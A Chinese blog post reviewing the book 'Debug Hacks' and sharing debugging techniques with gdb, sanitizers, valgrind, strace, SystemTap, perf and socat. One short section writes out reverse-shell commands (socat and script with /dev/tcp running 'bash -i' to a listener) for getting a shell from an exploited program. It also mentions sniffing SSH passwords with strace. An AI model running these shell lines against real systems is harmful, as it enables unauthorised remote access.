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作者为吉冈弘隆、大和一洋、大岩尚宏、安部东洋、吉田俊辅，有中文版《Debug Hacks中文版—深入调试的技术和工具》。这本书涉及了很多调试技巧，对调试器使用、内核调试方法、常见错误的原因，还介绍了systemtap、strace、ltrace等一大堆工具，非常值得一读。
话说我听说过的各程序设计课程似乎都没有强调过调试的重要性，把调试当作单独一节课来上(就算有估计也上不好)，很多人都只会printf调试法，breakpoint都很少用，就不提conditional breakpoint、watchpoint、reverse execution之类的了。也看到过很多同学在调试上浪费了很长很长的时间。
下面是篇review，也包含了一些我自己整理的一些调试技巧。
继续牢骚几句，我接触过的人当中感觉最执着与折腾工具的人只有两个，和，他们是少有的能把折腾工具当作正经工作来做的人。
很久以前我还会到处在网上搜索好的实用工具，尤其是那些CLI程序，比如renameutils、xsel、recode、the_silver_searcher，查阅文档定制自己的配置文件。但这么做花费的时间太多。后来就想我可以搜索一些善于折腾的人的配置文件，关注他们修改了哪些地方，我的配置只要取众家之所长就可以了。
先厚颜自荐一下。下面的用户列表就是我找到的在GitHub上把dotfiles配置地井井有条的人(如果GitHub支持按照项目的大小排序，列表搜集就能省很多麻烦了)：
1 | alejandrogomez bhj craigbarnes dotvim hamaco joedicastro laurentb ok100 pyx roylez sjl trapd00r vodik w0ng |
有了上述的dotfiles，其他人的dotfiles大多都不愿看了。但是五岳归来不看山，黄山归来不看岳，ppwwyyxx的感觉与之前诸位相比更胜一筹。
无关的话到此结束，下面是正文：
把下面几行添加到~/.gdbinit中吧，gdb启动时会自动读取里面的命令并执行：
1 2 3 | set history save on set history size 10000 set history filename ~/. history/gdb |
我习惯在~/.history堆放各个历史文件。有了历史，使用readline的reverse-search-history (C-r)就能轻松唤起之前输入过的命令。
1 | set { int} 0x83040 = 4 |
1 | set disassembly-flavor intel |
先说一下function prologue吧，每个函数最前面一般有三四行指令用来保存旧的帧指针(rbp)，并腾出一部分栈空间(通常用于储存局部变量、为当前函数调用其他函数腾出空间存放参数，有时候还会存储字面字符串，当有nested function时也会用于保存当前的栈指针)。
在x86-64环境下典型的funcition prologue长成这样：
1 2 3 | push rbp mov rbp, rsp sub rsp, 0x10 |
可能还会有and指令用于对齐rsp。如果编译时加上-fomit-frame-pointer(Visual Studio中文版似乎译作“省略框架指针”)，那么生成的指令就会避免使用rbp，function prologue就会简化成下面一行：
1 | sub rsp, 0x10 |
设置断点时如果使用了b *func的格式，也就是说在函数名前加上*，gdb就会在执行function prologue前停下，而b func则是在执行function prologue后停下。参考下面的会话：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | % gdb a.out Reading symbols from /tmp/a.out.. .done. (gdb) b *main Breakpoint 1 at 0x4005cc: file a.c, line 4. (gdb) r Starting program: /tmp/a.out warning: Could not load shared library symbols for linux-vdso.so .1. Do you need "set solib-search-path" or "set sysroot"? Breakpoint 1, main () at a.c: 4 4 { (gdb) disas Dump of assembler code for function main: => 0x00000000004005cc <+ 0>: push rbp 0x00000000004005cd <+ 1>: mov rbp, rsp 0x00000000004005d0 <+ 4>: sub rsp, 0x10 0x00000000004005d4 <+ 8>: mov DWORD PTR [ rbp- 0x4], 0x0 0x00000000004005db <+ 15>: mov eax, DWORD PTR [ rbp- 0x4] 0x00000000004005de <+ 18>: mov esi, eax 0x00000000004005e0 <+ 20>: mov edi, 0x4006ec 0x00000000004005e5 <+ 25>: mov eax, 0x0 0x00000000004005ea <+ 30>: call 0x400454 |
gdb可以为被调试的程序创建一个快照，即保存程序运行时的状态，等待以后恢复。这个是非常方便的一个功能，特别适合需要探测接下来会发生什么但又不想离开当前状态时使用。
ch是创建快照，d c ID是删除指定编号的快照，i ch是查看所有快照，restart ID是切换到指定编号的快照，详细说明可以在shell里键入info '(gdb) Checkpoint/Restart'查看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | % gdb ./a. out Reading symbols from /tmp/a. out...done. (gdb) b 6 Breakpoint 1 at 0x4005db: file a.c, line 6. (gdb) r Starting program: /tmp/a. out warning: Could not load shared library symbols for linux-vdso.so .1. Do you need "set solib-search-path" or "set sysroot"? Breakpoint 1, main () at a.c: 6 6 printf( "%d\n", a); (gdb) ch checkpoint: fork returned pid 6420. (gdb) p a= 3 $ 1 = 3 (gdb) i ch 1 process 6420 at 0x4005db, file a.c, line 6 * 0 process 6416 (main process) at 0x4005db, file a.c, line 6 (gdb) restart 1 Switching to process 6420 # 0 main () at a.c: 6 6 printf( "%d\n", a); (gdb) c Continuing. 0 [Inferior 1 ( process 6420) exited with code 02] [Switching to process 6416] (gdb) |
上面的会话中先用ch创建了一个快照，紧接着a被修改为了3，随后用restart 1恢复到编号为1的快照，继续运行程序可以发现a仍然为原来的值0。
以色列的Haifa Linux club有一次讲座讲gdb，讲稿值得一看：
Long Le的很不错，感觉比的好用。
使用了compile-time instrumentation(CTI)的工具。编译时加上-fmudflap -lmudflap选项即可，会在很多不安全代码生成的指令前加上判断合法性的指令。
1 2 3 4 5 6 7 8 9 10 11 12 13 | % echo 'int main() { int z[ 1]; z[ 1] = 2; }' | cc -xc - -fmudflap -lmudflap % ./a.out ******* mudflap violation 1 (check/write): time= 1376473424.792953 ptr= 0x7fff2cde3150 size= 8 pc= 0x7fa2bacf86f1 location=` |
第一行用-xc -让cc从标准输入读源代码，并当作C来编译。接来下执行./a.out，可以看到运行时程序报错了。
使用MUDFLAP_OPTIONS环境变量可以控制Mudflap的运行期行为，具体参见。
和Mudflap类似的工具，clang和gcc可以加上选项-fsanitize=address使用，比如：
1 | clang -fsanitize=address a.c |
如果想在出错的地方断点停下来，可以用gdb打开，输入b __asan_report_store1回车，再输入r回车运行程序。
-ftrapv这个选项是调试有符号整型溢出问题的利器。在i386环境下，gcc会把int32_t运算编译成call __addvsi3，__addvsi3函数会在运行时检查32位有符号加法运算是否产生溢出，如果是则调用abort函数中止程序。减法、乘法和取反运算也有类似的运行时函数检查溢出，另外也有64位版本的__addvdi3等函数。但不存在对无符号整型的溢出检测函数。比如下面这些代码均会触发trap：
1 2 3 4 | int a = INT_MAX; a++; int b = INT_MIN; b--; int c = INT_MAX; c *= 2; int d = INT_MIN; d = -d; |
这段代码来自gcc项目目录的libgcc/libgcc2.c：
1 2 3 4 5 6 7 8 9 10 11 | #ifdef L_subvsi3 Wtype __subvSI3 (Wtype a, Wtype b) { const Wtype w = (UWtype) a - (UWtype) b; if (b >= 0 ? w > a : w < a) abort (); return w; } |
但注意在x86-64环境下-ftrapv只检查64位溢出。考虑下面这段代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 | #include |
在x86-64下用gcc编译运行，输出barrier后才会执行abort使程序中止，因为int32_t的溢出不会触发trap。
clang也有-ftrapv，在x86-64环境下对于int32_t的溢出也能触发trap。
_FORTIFY_SOURCEgets、strcpy这类函数容易造成stack mashing。gcc编译时如果指定了-D_FORTIFY_SOURCE=1，生成的汇编程序中这些不安全的函数调用会被替代为libc.so中名字类似__gets_chk的一类安全函数，会在运行期检查是否产生了缓冲区溢出。比如，下面的代码会在运行时报错：
1 2 3 4 5 6 7 | #include |
Gentoo Portage从gcc-4.3.3-r1开始默认开启_FORTIFY_SOURCE标志了，好多发行版都开启了，测试发现Arch Linux的gcc似乎没有。shell里执行下面代码就可以看到Gentoo里是怎么定义_FORTIFY_SOURCE的了：
1 | echo -e '#undef __OPTIMIZE__\nmain() { printf("%d\\n", _FORTIFY_SOURCE); }' | cpp |
也就是当优化等级在-O1或以上时_FORTIFY_SOURCE会生效，名字为__$func_chk模式的函数会被使用。这种做法造成了一些麻烦，比如suricata git tree里的src/suricata.c使用了#ifdef _FORTIFY_SOURCE，会造成编译无法通过。
-fstack-protector-fstack-protector -fstack-protector-all gcc 4.8.1 -fstack-protector-strong
https://securityblog.redhat.com/2013/10/23/debugging-stack-protector-failures/
开启Stack-Smashing Protector (SSP)。我的理解是在储存的帧指针(rbp)前写入一个magic number，函数返回的时候检查下这个magic number是否被改动，如果是就可能产生stack smashing了。这个方法的footprint最小，但是保护力度也比较弱。
function prologue 80484c0: 65 a1 14 00 00 00 mov eax,gs:0x14 80484c6: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
function epilogue 80484d7: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80484da: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 80484e1: 74 05 je 80484e8 80484e3: e8 68 fe ff ff call 8048350 80484e8: c9 leave 80484e9: c3 ret
function prologue:
4005c9: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005d0: 00 00 4005d2: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
function epilogue
400618: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 40061f: 00 00 400621: 74 05 je 400628 400623: e8 88 fe ff ff call 4004b0 400628: 48 83 c4 78 add rsp,0x78 40062c: c3 ret
提供了int backtrace (void **buffer, int size)、char ** backtrace_symbols (void *const *buffer, int size)在程序运行时查看函数调用栈。参见。
一系列调试和profiling工具的套件，其中的Memcheck是一个使用了dynamic binary instrumentation(DBI)的工具， 在程序指令间插入自己的指令检查validity和addressablity。另外Memcheck替换了标准的malloc，这样就可以检测出off-by-one error、double free、内存泄漏等许多问题。
Memcheck引入的footprint极小，无需重编译程序，也没有繁琐的配置。比如原来是用./a.out执行程序，需要Memcheck时就换成valgrind ./a.out。
在程序访问某一内存地址时Memcheck会检查是否有越界之类的错误，Memcheck能诊断出大量但不是全部的访问错误，比如下面这样有问题的代码就没法检查出来：
1 2 3 4 5 | int main() { int a[ 1]; a[ 1992] = 12; } |
因为a[1992]的地址在栈上，允许访问。
Valgrind启动时会读取~/.valgrindrc，对于memcheck我配置了下面这几行：
1 2 3 4 5 6 7 8 | - -memcheck:leak-check=yes - -memcheck:show-possibly-lost=yes - -memcheck:show-reachable=yes - -memcheck:track-origins=yes - -memcheck:dsymutil=yes - -memcheck:track-fds=yes - -memcheck:track-origins=yes - -memcheck:gen-suppressions=all |
valgrind --vgdb-error=0 --vgdb=yes很强大，可以在进程遇到错误时让gdb调试。
记录程序执行的系统调用和收到的信号，和valgrind类似，使用非常简单：
1 | strace ./a.out |
有一些选项可以attach到现有进程上去(-p)、记录时刻(-t)、统计系统调用使用次数(-c)、过滤特定的系统调用(-e)等。
带上-c选项可以统计系统调用的使用次数：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | % strace - c ls chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17 % time seconds usecs/call calls errors syscall - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 . 00 0 . 000000 0 5 read 0 . 00 0 . 000000 0 1 write 0 . 00 0 . 000000 0 7 open 0 . 00 0 . 000000 0 10 close 0 . 00 0 . 000000 0 8 fstat 0 . 00 0 . 000000 0 20 mmap 0 . 00 0 . 000000 0 12 mprotect 0 . 00 0 . 000000 0 2 munmap 0 . 00 0 . 000000 0 3 brk 0 . 00 0 . 000000 0 2 rt_sigaction 0 . 00 0 . 000000 0 1 rt_sigprocmask 0 . 00 0 . 000000 0 2 ioctl 0 . 00 0 . 000000 0 1 1 access 0 . 00 0 . 000000 0 1 execve 0 . 00 0 . 000000 0 1 fcntl 0 . 00 0 . 000000 0 2 getdents 0 . 00 0 . 000000 0 1 getrlimit 0 . 00 0 . 000000 0 1 arch_prctl 0 . 00 0 . 000000 0 2 1 futex 0 . 00 0 . 000000 0 1 set_tid_address 0 . 00 0 . 000000 0 1 openat 0 . 00 0 . 000000 0 1 set_robust_list - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 100 . 00 0 . 000000 85 2 total |
-e选项只跟踪指定系统调用：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | % strace -e read,open ls open( "/etc/ld.so.cache", O_RDONLY| O_CLOEXEC) = 3 open( "/lib64/librt.so.1", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220(\0\0\0\0\0\0"..., 832) = 832 open( "/lib64/libacl.so.1", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320#\0\0\0\0\0\0"..., 832) = 832 open( "/lib64/libc.so.6", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@M\2\0\0\0\0\0"..., 832) = 832 open( "/lib64/libpthread.so.0", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@}\0\0\0\0\0\0"..., 832) = 832 open( "/lib64/libattr.so.1", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\25\0\0\0\0\0\0"..., 832) = 832 open( "/usr/lib64/locale/locale-archive", O_RDONLY| O_CLOEXEC) = 3 chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17 +++ exited with 0 +++ |
使用strace还可以做一些很可怕的事，比如有root权限的情况下嗅探sshd以得到其他尝试SSH登录的用户的密码：。
-p很有用，比如调试CGI wrapperfcgiwrap，观察它的输出：
1 | strace -s200 -p$(pidof -s fcgiwrap) -e write |
记录程序调用的动态库中的函数。名字和strace很像，使用方式和很多命令行选项也如出一辙。
查看echo test
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描述了ltrace的实现机制。
SystemTap提供了一套底层工具用于trace/probe。用户编写SystemTap script语言的程序，SystemTap将其翻译为C代码，再编译成临时的内核模块。内核模块加载时SystemTap script脚本里的hook就会在特定event发生时执行。当SystemTap脚本停止运行时，相应的hook就被删除，移除临时的内核模块。这一整套流程都是通过一个简单的CLI程序stap驱动的。
SystemTap使用前的配置过程比较复杂，需要特制的内核，开启CONFIG_KPROBES=y、CONFIG_DEBUG_INFO=y等诸多内核编译选项。
比如如下的简单脚本就能显示各进程调用net/socket.c内函数的情况：
1 2 3 4 5 6 | probe kernel.function( "*@net/socket.c").call { printf ( "%s -> %s\n", thread_indent( 1), ppfunc()) } probe kernel.function( "*@net/socket.c"). return { printf ( "%s <- %s\n", thread_indent(- 1), ppfunc()) } |
1 2 3 4 | perf record -e probe_a:main -e probe_a:main_1 /home/ray/tmp/a perf annotate sudo perf probe -x ~/tmp/a 'main%return %ip %sp' sudo perf record -e probe_a:main -e probe_a:main_1 /home/ray/tmp/a && sudo perf script |
可执行文件不能在tmpfs分区。
1 | A=~/tmp; cc -xc <( echo 'main(){}') -Wl,-rpath, $A -o a && sudo perf probe -d '*' || :; sudo perf probe -x $A/libc.so. 6 malloc && sudo perf record -e probe_libc:malloc -aR ./a && sudo perf report -n |
书里还介绍了很多神奇的玩意儿，比如kaho，用于读取被编译器优化掉的变量；livepatch，运行时动态修改变量、替换函数等。这两个工具我在网上检索了下，感觉是个proof of concept的东西，也没有更新了。不够这些思路很奇特，想到了并试图去解决调试时常受困扰的问题，很棒。
CFLAGS使用-g3对于重度使用macro的程序很有用，可以在gdb里使用info macro NAME、macro expand EXPR等命令了，print参数里的macro也可以展开。
参见，调试时最痛苦的莫过于难于重现，rr可以把不确定的外部影响固定下来。它的初衷是用来调Firefox的，由此可见它的可用性……幻灯片介绍了很多内部机理，值得一看。
gdb -p不可用: ptrace: Operation not permitted.gdb无法attach到用户相同的另一个进程上。Arch Linux、Ubuntu等很多发行版的内核默认设置了kernel.yama.ptrace_scope，参见，即不具有CAP_SYS_PTRACE capability的进程只能ptrace它的后裔进程(子、孙、玄孙、来孙、晜孙、仍孙、云孙、耳孙等)。不特别在乎安全性的话，可以执行sudo sysctl kernel.yama.ptrace_scope=0。
设想是fork产生一个新进程并停下来，原进程exec成gdb并attach调试新进程。注意：新进程应设置以创建新的进程组，不然gdb按数次continue后自身也会被stop，gdb所在终端将丢失前台进程组。这里我不太清楚gdb被stop的具体原因，但进程组经常作为一个整体和信号、终端等概念相互关联，可能是这方面的原因。
这里SIGINT可以考虑换成SIGFPE、SIGSEGV等，以防止进程死亡，用gdb交互式检视各个变量的值等以便于差错。
：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #include |
对于ncurses这类使用终端特性的程序，在gdb下调试时，gdb交互的终端也会被程序使用，程序可能执行屏幕擦除、移动光标等操作，和gdb交互的输出混杂在一起，产生干扰。解决方案是使用gdb的tty命令(文档见info '(gdb) Input/Output')。下面以rlwrap rev为例说明调试方法。
使用coreutils中的tty命令(并非gdb的tty命令)获得当前终端的名称，如/dev/pts/13，然后创建新shell会话，假设终端名是/dev/pts/14，将用作被调试程序的标准输入、输出、出错。在这个新终端里执行sleep 9999(如果不执行这条命令的话，/dev/pts/14的前台进程组是shell，会抢夺终端输入，而sleep不会读取终端输入，因此不会和被调试程序竞争)。
然后回到原来的shell会话(/dev/pts/13)，用gdb调试程序：
1 2 3 | % gdb -tty /dev/ pts/ 14 -- args rlwrap rev Reading symbols from rlwrap...( no debugging symbols found)...done. (gdb) r |
之后即可在/dev/pts/14和被调试程序交互了。或者用命令tty /dev/pts/14替代命令行选项-tty。
注意，此时被调试程序的标准输入、输出、出错均为/dev/pts/14，但没有控制终端(controlling terminal)，并且能在/dev/pts/14看到gdb的警报：warning: GDB: Failed to set controlling terminal: Operation not permitted。用strace调试gdb可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted)，即gdb尝试把/dev/pts/14设为被调试进程的控制进程，但失败了。原因是/dev/pts/14上还有shell和sleep 9999以它为控制终端，无法抢夺。不过多数情况用不着控制终端提供的一些功能。
参见。
把不同输入输出端对接的瑞士军刀，是nc的进化型，支持非常多的网络协议、文件等IO方式。
下面演示如何把一个程序的输入和输出分别接到监听的某个socket的输出和输入上。
创建black.sh：
1 2 | #!/bin/zsh { echo depth 0; cat; echo exit;} | gnuchess -e | stdbuf -o0 grep -aPo '(?<=My move is : )\S+' |
用socat启动TCP服务端：socat tcp-l:4444,reuseaddr exec:./black.sh。
创建white.sh：
1 2 | #!/bin/zsh { echo depth 0; echo go; cat; echo exit;} | gnuchess -e | tee /tmp/output | stdbuf -o0 grep -aPo '(?<=My move is : )\S+' |
用socat启动TCP客户端：socat tcp:0:4444,reuseaddr exec:./white.sh。之后即可在/tmp/output看到两个gnuchess进程的对局。执行gnuchess，输入depth 0后可以限制它的搜索深度(加快运行速度)，输入go可以让它走一步。
写到此处，忽然想到之前NOI 2010团体对抗赛时，不了解这些东西的用法，浪费了很大工夫。
通常用system("sh")等方式搞的shell都不是interactive shell，没有提示符，也无法用readline的快捷键，不方便。下面介绍产生interactive shell的方法：
本地监听9999端口，等远端被pwn的程序连接：
1 2 | socat stdio,raw, echo= 0 tcp -l: 9999 # 或者使用stty -echo raw; nc -l 9999; stty echo -raw |
远端执行：
1 | socat tcp: 0: 9999 exec: 'bash -i',pty,stderr # 0应填之前监听9999端口的机器的IP |
当然远端很可能没有socat，可以用util-linux包中的script：
1 | script -qc 'bash -i' /dev/null &>/dev/tcp/ 0/ 9999 <& 1 # 使用了bash创建socket的功能 |
打印指定进程的系统栈。
本质是一段脚本，核心是下面这句话：
1 2 | #!/bin/zsh gdb -q -nx -p $1 <<< 't a a bt' 2>&- | sed -ne '/^#/p' |
你应该把它保存到你的工具集里。新的gdb支持对单线程进程使用thread apply all bt了。
1 2 3 4 5 6 7 8 9 10 11 12 | % pstack $$ #0 0x00007fc00a3a6866 in sigsuspend () from /usr/lib/libc.so. 6 #1 0x0000000000471906 in signal_suspend () #2 0x0000000000442d56 in ?? () #3 0x0000000000443437 in waitjobs () #4 0x0000000000429b4b in ?? () #5 0x000000000042a6e1 in execlist () #6 0x000000000042a970 in execode () #7 0x000000000043c1dc in loop () #8 0x000000000043f30e in zsh_main () #9 0x00007fc00a393800 in __libc_start_main () from /usr/lib/libc.so. 6 #10 0x000000000041013e in _start () |
gdb和gcc有一定的版本适配性，有些恶劣的工作环境需要自己编译安装gdb，下面只是我折腾C++ STL查看器的注记。
1 | ./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc- 4.9/python |
~/.gdbinit里添加：
1 2 3 4 5 6 | python import sys sys.path.append( '/usr/share/gcc-4.9/python') from libstdcxx.v6.printers import register_libstdcxx_printers register_libstdcxx_printers( None) end |
用sshfs或其他文件共享手段从其他机器上挂载源码目录，使用directory命令设置源码查找目录。另外还有set substitute-path，参见info '(gdb) Source Path'。
MongoDB使用mmap映射数据文件及分配内存，把内存管理的任务交给操作系统，造成内存使用量无法控制。我误以为resource limits中的RLIMIT_AS可以限制虚拟内存使用， 就在启动mongod前执行ulimit -v $[512*1024]，效果是之后所有在shell里启动的新进程的虚拟内存都不能超过512MiB。
在测试写入性能时，发现过了很长时间也没有把所有测试数据插入成功。后查看日志发现这些记录：
1 2 | 2015- 03- 13T20: 20: 18.558+ 0800 [conn1] ERROR: mmap private failed with out of memory. ( 64 bit build) 2015- 03- 13T20: 20: 18.558+ 0800 [conn1] Assertion: 13636: file /tmp/db/test .2 open/ create failed in createPrivateMap (look in log for more information) |
大概每5秒钟会产生一段错误记录，估计和mmap有关。使用strace查看mongod及其所有子进程(包括当前和未来创建的)的mmap系统调用：strace -fe mmap -p $(pgrep -n mongod)，产生大量重复的输出：
1 2 | [pid 31551] mmap( NULL, 67108864, PROT_READ|PROT_WRITE, MAP_SHARED, 17, 0) = 0x7f2e58716000 [pid 31551] mmap( NULL, 67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 17, 0) = - 1 ENOMEM (Cannot allocate memory) |
即以两个mmap为单元，不断输出这两行，注意到mmap(2)参数中的文件描述符fd，再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/。猜测这两个mmap都和数据文件(test.0、test.1等)有关。后来再用pmap -p $(pgrep -n mongod)列示已映射的地址空间，发现与0x7f2e58716000(第一次执行的mmap的返回值)地址相近的都是些数据文件，印证了猜测。后来看/proc下该进程的相关信息，发现/proc/$(pgrep -n mongod)/limits列示的Max address space不正常，终于想到是先前ulimit -v限制了地址空间大小，导致了这个问题。之后有两个解决办法，一是关闭mongod，修改resource limits后重启，二是动态修改resource limits。为了好玩，自然选第二个。先要找出RLIMIT_AS的数值：ag RLIMIT_AS /usr/include/bits，发现是9，之后用gdb attach到mongod上修改resource limits：
1 2 3 4 5 6 7 | $ gdb -p $(pgrep -n mongod) (gdb) set $r = &{ 0ll, 0ll} (gdb) p getrlimit( 9, $r) $1 = 0 (gdb) set (* $r)[ 0]=- 1 # struct rlimit { rlim_t rlim_cur; rlim_t rlim_max; } 要修改的项是rlim_cur (gdb) p setrlimit( 9, $r) $1 = 0 |
成功修改了resource limits！之后日志中果然出现了数据文件新建成功的信息，不再有mmap的错误了。
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